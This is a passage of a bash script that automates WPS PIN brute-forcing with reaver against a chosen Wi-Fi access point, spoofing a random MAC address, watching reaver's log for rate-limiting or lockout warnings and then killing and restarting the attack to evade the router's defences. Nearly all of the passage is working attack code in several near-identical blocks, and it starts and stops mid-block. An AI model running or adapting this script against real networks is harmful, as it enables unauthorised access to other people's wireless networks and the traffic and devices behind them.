	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R47 == n || $USE_R47 == N ]] && [[ $USE_LONG47 == y || $USE_LONG47 == Y ]] && [[ $USE_PIN47 == n || $USE_PIN47 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME47"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL47"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP47"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE47 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME47-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL47 -b $TARGETAP47 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME47-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE47-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R47 == y || $USE_R47 == Y ]] && [[ $USE_LONG47 == y || $USE_LONG47 == Y ]] && [[ $USE_PIN47 == n || $USE_PIN47 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME47"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL47"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP47"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX47" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY47"
echo -e "$info Reaver live time                   = $yel$LIVE47 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME47-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL47 -b $TARGETAP47 -r $RX47:$RY47 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME47-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE47-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R47 == n || $USE_R47 == N ]] && [[ $USE_LONG47 == n || $USE_LONG47 == N ]] && [[ $USE_PIN47 == y || $USE_PIN47 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME47"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL47"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP47"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE47 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME47-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL47 -b $TARGETAP47 -vv -x 60  --pin=$WPS_PIN47 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME47-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE47-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R47 == y || $USE_R47 == Y ]] && [[ $USE_LONG47 == n || $USE_LONG47 == N ]] && [[ $USE_PIN47 == y || $USE_PIN47 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME47"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL47"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP47"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX47" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY47"
echo -e "$info Reaver live time                   = $yel$LIVE47 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME47-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL47 -b $TARGETAP47 -vv -x 60 -r $RX47:$RY47 --pin=$WPS_PIN47 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME47-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE47-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R47 == n || $USE_R47 == N ]] && [[ $USE_LONG47 == y || $USE_LONG47 == Y ]] && [[ $USE_PIN47 == y || $USE_PIN47 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME47"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL47"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP47"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE47 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME47-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL47 -b $TARGETAP47 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN47 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME47-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE47-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
